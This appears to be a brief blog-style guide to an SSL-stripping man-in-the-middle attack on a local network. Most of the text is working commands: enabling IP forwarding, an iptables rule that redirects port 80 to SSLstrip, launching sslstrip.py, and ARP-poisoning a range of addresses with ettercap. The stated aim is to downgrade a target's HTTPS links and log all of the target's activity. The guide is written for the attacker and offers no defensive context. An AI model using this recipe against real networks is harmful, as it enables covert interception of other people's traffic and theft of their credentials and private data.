SSLstrip works as proxy which replaces HTTPS references in HTTP, HTML, JS,.… responses with HTTP versions.
Installation: SSLstrip is old. Create a venv and install an older version of twisted: venv/bin/pip install Twisted==18.9.0
Remove HTTPS references via MitM
Scenario:
- You want that $target routes all HTTP traffic through your own system.
- Your system should remove each HTTPs reference.
- You want to log all activity from $target.
Perform the following steps on your attacking system:
- Activate IP forwarding:
# echo "1" > /proc/sys/net/ipv4/ip_forward - Redirect all incoming traffic to port 80 to the SSLstripe proxy at 8080:
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 - Start SSLStrip:
root@imac2019-kali:/opt/sslstrip# venv/bin/python2.7 sslstrip.py -l 8080 - Start Ettercap and poison the target in the local network:
# ettercap -TqM arp:remote /192.168.178.60-70// /192.168.178.60-70//
Leave a Reply
You must be logged in to post a comment.